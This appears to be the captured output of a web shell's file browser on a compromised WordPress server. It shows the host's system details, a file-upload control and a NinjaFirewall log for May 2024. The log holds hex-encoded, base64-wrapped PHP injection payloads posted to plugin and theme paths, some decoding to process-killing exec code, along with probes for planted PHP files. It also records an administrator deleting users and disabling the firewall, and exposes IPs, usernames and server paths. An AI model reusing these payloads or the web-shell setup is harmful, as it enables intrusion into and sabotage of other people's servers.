HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web202 (5061)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
$ pwd: /data0/www/clients/client33/web202/web/wp-content/nfwlog/
Upload Files
File: /data0/www/clients/client33/web202/web/wp-content/nfwlog/firewall_2024-05.php
<?php exit; ?>
[1715790234] [0.00146] [deltalifehemp.com] [#8550551] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715792898] [0.00353] [deltalifehemp.com] [#1524823] [306] [1] [182.98.174.80] [403] [GET] [/index.php] [Bogus user-agent signature] [hex:5345525645523a485454505f555345525f4147454e54203d204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e313b205356313b202e4e455420434c5220322e302e35303732373b20496e666f506174682e323b202e4e455420434c5220332e302e343530362e323135323b202e4e455420434c5220332e352e33303732393b202e4e4554342e30433b202e4e4554342e304529]
[1715792898] [0.00280] [deltalifehemp.com] [#6889689] [306] [1] [119.114.76.121] [403] [GET] [/index.php] [Bogus user-agent signature] [hex:5345525645523a485454505f555345525f4147454e54203d204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520382e303b2057696e646f7773204e5420362e313b20574f5736343b2054726964656e742f342e303b204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e313b2053563129203b2020456d626564646564205765622042726f777365722066726f6d3a20687474703a2f2f6273616c73612e636f6d2f2e2e2e]
[1715793834] [0.00475] [deltalifehemp.com] [#8646963] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715795696] [0.00213] [deltalifehemp.com] [#8108088] [0] [3] [149.71.177.197] [403] [POST] [/wp-content/litespeed/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d20504439776148414e43694167494341674943416764573573615735724b463966526b6c4d525639664b54734e4369416749434167494341674a474e745a44306961326c73624341744f5341744d53493744516f67494341674943416749476c6d4943686d6457356a64476c76626c396c65476c7a64484d6f4a3256345a574d6e4b536b4e4369416749434167494341676577304b494341674943416749434167494341675a574e6f6279416e5a58686c5979446d2e2e2e]
[1715795701] [0.00263] [deltalifehemp.com] [#2930097] [0] [3] [149.71.176.226] [403] [POST] [/wp-content/litespeed/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d20504439776148414e436d5679636d397958334a6c6347397964476c755a7967774b54734e4369526e634639755957316c50534a36616a45784e79493744516f6b646d567963326c76626a30695a4445694f77304b615759674b434277636d566e5832316864474e6f4b434976616e41794d44497a4c334e704969776b58314e46556c5a46556c7369556b56525655565456463956556b6b6958536b39505445674b53414e436e734e436941674943426f5a57466b2e2e2e]
[1715795704] [0.00197] [deltalifehemp.com] [#2113468] [0] [3] [104.160.1.115] [403] [POST] [/wp-content/litespeed/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d20504439776148414e436d5679636d397958334a6c6347397964476c755a7967774b54734e4369526e634639755957316c50534a36616a45784e79493744516f6b646d567963326c76626a30695a4445694f77304b615759674b434277636d566e5832316864474e6f4b434976616e41794d44497a4c334e704969776b58314e46556c5a46556c7369556b56525655565456463956556b6b6958536b39505445674b53414e436e734e436941674943426f5a57466b2e2e2e]
[1715795706] [0.00201] [deltalifehemp.com] [#3297565] [0] [3] [138.219.73.4] [403] [POST] [/wp-content/litespeed/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d20504439776148414b5a584a7962334a66636d567762334a306157356e4b4441704f77707a5a58526664476c745a56397361573170644367774b54734b6157357058334e6c6443676e62574634583256345a574e3164476c76626c39306157316c4a7977774b54734b6157647562334a6c5833567a5a584a6659574a76636e516f64484a315a536b37436d6c6d4943686d6457356a64476c76626c396c65476c7a64484d6f4a3239775932466a61475666636d567a2e2e2e]
[1715797471] [0.00244] [deltalifehemp.com] [#6560794] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715801030] [0.00208] [deltalifehemp.com] [#5003178] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715803622] [0.00477] [deltalifehemp.com] [#6529542] [0] [3] [138.219.73.4] [403] [POST] [/wp-content/litespeed/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d20504439776148414b436938714b676f674b69425153464167526d6c735a53424e595735685a325679494367794d4445334c5441344c5441334b516f674b69426f64485277637a6f764c326470644768315969356a623230765957786c65474675644849765a6d6c735a573168626d466e5a58494b49436f7643676f764c7942426458526f49486470644767676247396e615734766347467a63336476636d51674b484e6c64434230636e566c4c325a6862484e6c2e2e2e]
[1715804644] [0.00175] [deltalifehemp.com] [#1873643] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715808252] [0.00323] [deltalifehemp.com] [#7365762] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715811862] [0.00379] [deltalifehemp.com] [#6636575] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715815463] [0.00342] [deltalifehemp.com] [#7802441] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715819060] [0.00476] [deltalifehemp.com] [#6422552] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715819678] [0.00176] [deltalifehemp.com] [#1020230] [0] [3] [138.219.73.237] [403] [POST] [/wp-content/litespeed/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d204b4755784d47466b597a4d354e446c695954553559574a695a5455325a5441314e3259794d4759344f444e6c4f6c6c61566d785a5a6d6c4a4b54772f6347687749475a31626d4e306157397549454670646c516f4a4870465458563553696b4e436e736744516f6b656b564e64586c4b505764366157356d624746305a53686959584e6c4e6a52665a47566a6232526c4b4352365255313165556f704b54734e4369426d6233496f4a476b394d44736b6154787a2e2e2e]
[1715822664] [0.00374] [deltalifehemp.com] [#7496583] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715826267] [0.00489] [deltalifehemp.com] [#1526901] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715830550] [0] [deltalifehemp.com] [#3850359] [0] [6] [172.59.109.255] [403] [GET] [/wp-admin/plugins.php] [Plugin deactivated by salzstudio] [hex:4e616d653a206c69746573706565642d63616368652f6c69746573706565642d63616368652e706870]
[1715830577] [0] [deltalifehemp.com] [#7492703] [0] [6] [172.59.109.255] [403] [GET] [/wp-admin/plugins.php] [Plugin deactivated by salzstudio] [hex:4e616d653a2074696b746f6b2d666f722d627573696e6573732f74696b746f6b2d666f722d776f6f636f6d6d657263652e706870]
[1715830836] [0] [deltalifehemp.com] [#6246503] [0] [6] [172.59.109.255] [403] [POST] [/wp-admin/users.php] [Deleting user] [hex:557365723a20303131326d6d6a2c2049443a2032]
[1715831599] [0] [deltalifehemp.com] [#8721112] [0] [6] [172.59.109.255] [403] [POST] [/wp-admin/users.php] [Deleting user] [hex:557365723a2064686468646864682c2049443a20333236]
[1715831704] [0] [deltalifehemp.com] [#5414466] [0] [6] [172.59.109.255] [403] [POST] [/wp-admin/users.php] [Deleting user] [hex:557365723a206b6179616e6e6177696c6b6572736f6e2c2049443a20363530]
[1715831837] [0] [deltalifehemp.com] [#3761056] [0] [6] [172.59.109.255] [403] [POST] [/wp-admin/users.php] [Deleting user] [hex:557365723a207265783130313434392c2049443a20393734]
[1715833486] [0.00127] [deltalifehemp.com] [#3100101] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715836155] [0.00528] [deltalifehemp.com] [#4523601] [0] [3] [191.102.135.42] [403] [POST] [/wp-content/themes/twentytwentythree/styles/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d20504439776148414e43694167494341674943416764573573615735724b463966526b6c4d525639664b54734e4369416749434167494341674a474e745a44306961326c73624341744f5341744d53493744516f67494341674943416749476c6d4943686d6457356a64476c76626c396c65476c7a64484d6f4a3256345a574d6e4b536b4e4369416749434167494341676577304b494341674943416749434167494341675a574e6f6279416e5a58686c5979446d2e2e2e]
[1715836159] [0.00395] [deltalifehemp.com] [#4502955] [0] [3] [149.71.179.229] [403] [POST] [/wp-content/themes/twentytwentythree/styles/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d20504439776148414e436d5679636d397958334a6c6347397964476c755a7967774b54734e4369526e634639755957316c50534a36616a45784e79493744516f6b646d567963326c76626a30695a4445694f77304b615759674b434277636d566e5832316864474e6f4b434976616e41794d44497a4c334e704969776b58314e46556c5a46556c7369556b56525655565456463956556b6b6958536b39505445674b53414e436e734e436941674943426f5a57466b2e2e2e]
[1715836161] [0.00207] [deltalifehemp.com] [#2355309] [0] [3] [23.105.159.195] [403] [POST] [/wp-content/themes/twentytwentythree/styles/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d20504439776148414e436d5679636d397958334a6c6347397964476c755a7967774b54734e4369526e634639755957316c50534a36616a45784e79493744516f6b646d567963326c76626a30695a4445694f77304b615759674b434277636d566e5832316864474e6f4b434976616e41794d44497a4c334e704969776b58314e46556c5a46556c7369556b56525655565456463956556b6b6958536b39505445674b53414e436e734e436941674943426f5a57466b2e2e2e]
[1715836163] [0.00171] [deltalifehemp.com] [#2344194] [0] [3] [196.198.211.55] [403] [POST] [/wp-content/themes/twentytwentythree/styles/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d20504439776148414b5a584a7962334a66636d567762334a306157356e4b4441704f77707a5a58526664476c745a56397361573170644367774b54734b6157357058334e6c6443676e62574634583256345a574e3164476c76626c39306157316c4a7977774b54734b6157647562334a6c5833567a5a584a6659574a76636e516f64484a315a536b37436d6c6d4943686d6457356a64476c76626c396c65476c7a64484d6f4a3239775932466a61475666636d567a2e2e2e]
[1715836237] [0.00518] [deltalifehemp.com] [#3914015] [0] [3] [108.181.40.210] [403] [POST] [/wp-content/themes/twentytwentythree/styles/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d2050443977614841674a484d39596d467a5a5459305832526c5932396b5a53676e5556557855574979546b3158565655315656566b566c5a715a32356c52334e3455305257623168704d54566a615546785756686162574d7a65444255656d527554486c3452557445516e425a616e4272546d31564d457455654552594d324e31596c6857536b3136536b64695244565059315a4a61306b7a6348566a526b3578566b4539505363704f7952505246686b505349692e2e2e]
[1715836261] [0.00217] [deltalifehemp.com] [#4772916] [0] [3] [138.219.121.232] [403] [POST] [/wp-content/themes/twentytwentythree/styles/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d20504439776148414b4c7939455a575a686457783049454e76626d5a705a335679595852706232344b4a454e50546b5a4a5279413949436437496d7868626d63694f694a6c62694973496d5679636d397958334a6c6347397964476c755a7949365a6d467363325573496e4e6f6233646661476c6b5a475675496a706d5957787a5a53776961476c6b5a5639446232787a496a706d5957787a5a537769593246735931396d6232786b5a5849694f6d5a6862484e6c2e2e2e]
[1715836266] [0.00179] [deltalifehemp.com] [#6243566] [0] [3] [149.71.179.103] [403] [POST] [/wp-content/themes/twentytwentythree/styles/index.php] [BASE64-encoded injection] [hex:504f53543a636f64655f636f6e74656e74203d2050443977614841675a585a6862436769507a34694c6d4a68633255324e46396b5a574e765a47556f496c42454f5864685345466e576c686161474a445a326c51656a52705447314b61474d7956544a4f526a6c72576c644f646c70485657394a62454a465431686b61464e46526b39524d6d73305931567353565a75566d684e616c5979576b524a4d575673634668555747684f5a577377656c56565a47746b526d7859596b684f54574a564e544a5a624535432e2e2e]
[1715837076] [0.00126] [deltalifehemp.com] [#2241610] [0] [2] [104.244.72.22] [403] [GET] [/wp-admin/css/colors/modern/wp-login.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f636f6c6f72732f6d6f6465726e2f77702d6c6f67696e2e706870]
[1715840594] [0.00150] [deltalifehemp.com] [#2124460] [0] [2] [23.106.142.113] [403] [GET] [/wp-admin/css/oCkmPLoGU.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f6373732f6f436b6d504c6f47552e706870]
[1715840595] [0.00126] [deltalifehemp.com] [#4928882] [0] [2] [23.106.142.113] [403] [GET] [/wp-admin/images/oGlrTH.php] [Forbidden direct access to PHP script] [hex:2f77702d61646d696e2f696d616765732f6f476c7254482e706870]
[1715840595] [0.00124] [deltalifehemp.com] [#3363911] [0] [2] [23.106.142.113] [403] [GET] [/wp-includes/css/dist/block-editor/wp/aatSmmO.php] [Forbidden direct access to PHP script] [hex:2f77702d696e636c756465732f6373732f646973742f626c6f636b2d656469746f722f77702f616174536d6d4f2e706870]
[1715866583] [0.00807] [deltalifehemp.com] [#5930273] [0] [6] [172.59.109.255] [200] [POST] [/wp-login.php] [Sanitising user input] [hex:485454505f524546455245523a2068747470733a2f2f64656c74616c69666568656d702e636f6d2f77702d6c6f67696e2e7068703f72656469726563745f746f3d687474707325334125324625324664656c74616c69666568656d702e636f6d25324677702d61646d696e253246267265617574683d31]
[1715866584] [0] [deltalifehemp.com] [#4306784] [0] [6] [172.59.109.255] [403] [POST] [/wp-login.php] [Logged in user] [hex:73616c7a73747564696f202861646d696e6973747261746f7229]
[1715867119] [0] [deltalifehemp.com] [#8900222] [0] [6] [172.59.109.255] [403] [POST] [/wp-login.php] [Logged in user] [hex:73616c7a73747564696f202861646d696e6973747261746f7229]
[1715867538] [0] [deltalifehemp.com] [#8754849] [0] [6] [172.59.109.255] [403] [GET] [/wp-admin/plugins.php] [Plugin deactivated by salzstudio] [hex:4e616d653a20676f6f676c652d736974652d6b69742f676f6f676c652d736974652d6b69742e706870]
[1715867561] [0] [deltalifehemp.com] [#6843190] [0] [6] [172.59.109.255] [403] [POST] [/wp-admin/admin-ajax.php] [Plugin installed by salzstudio] [hex:4e616d653a20676f6f676c652d736974652d6b6974]
[1715867919] [0] [deltalifehemp.com] [#1755545] [0] [6] [172.59.109.255] [403] [GET] [/wp-admin/plugins.php] [Plugin deactivated by salzstudio] [hex:4e616d653a206e696e6a616669726577616c6c2f6e696e6a616669726577616c6c2e706870]
@ Telegram